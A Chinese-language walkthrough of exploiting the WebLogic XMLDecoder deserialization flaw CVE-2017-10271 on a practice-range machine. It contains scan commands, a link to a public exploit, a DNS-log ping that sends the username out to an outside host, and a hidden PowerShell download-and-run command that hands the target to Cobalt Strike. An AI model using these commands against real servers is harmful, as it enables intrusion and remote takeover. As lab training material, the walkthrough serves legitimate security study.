CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

靶场环境：vulnstack靶机-委派靶场

漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

漏洞成因：

主要是由于wls组件使用了webservice来请求soap请求，所以通过构造SOAP(XML)格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞，可导致执行任意命令

漏洞复现：

1.探测目标开放端口，发现7001开放

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.110.129

2.访问7001端口

http://192.168.110.129:7001/console/login/LoginForm.jsp

3.用nikto探测目标存在cve-2017-10271漏洞

nikto -h http://192.168.110.129:7001

4.下载cve-2017-10271的exp

https://github.com/c0mmand3rOpSec/CVE-2017-10271

5.因为执行whoami是无回显的，所以需要借助dnslog.cn网站进行回显

6.执行ping命令，查看是哪个用户在执行命令，在dnslog.cn网站上可看到是Administator用户

python2 exploit.py http://192.168.1.106:7001

ping %USERNAME%.5n0ut3.dnslog.cn

7.用cs生成payload,进行执行命令。

attacks-->web drive-by -->scripted web delivery(s)

8.执行命令后，目标成功上线cs

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.110.128:80/a'))"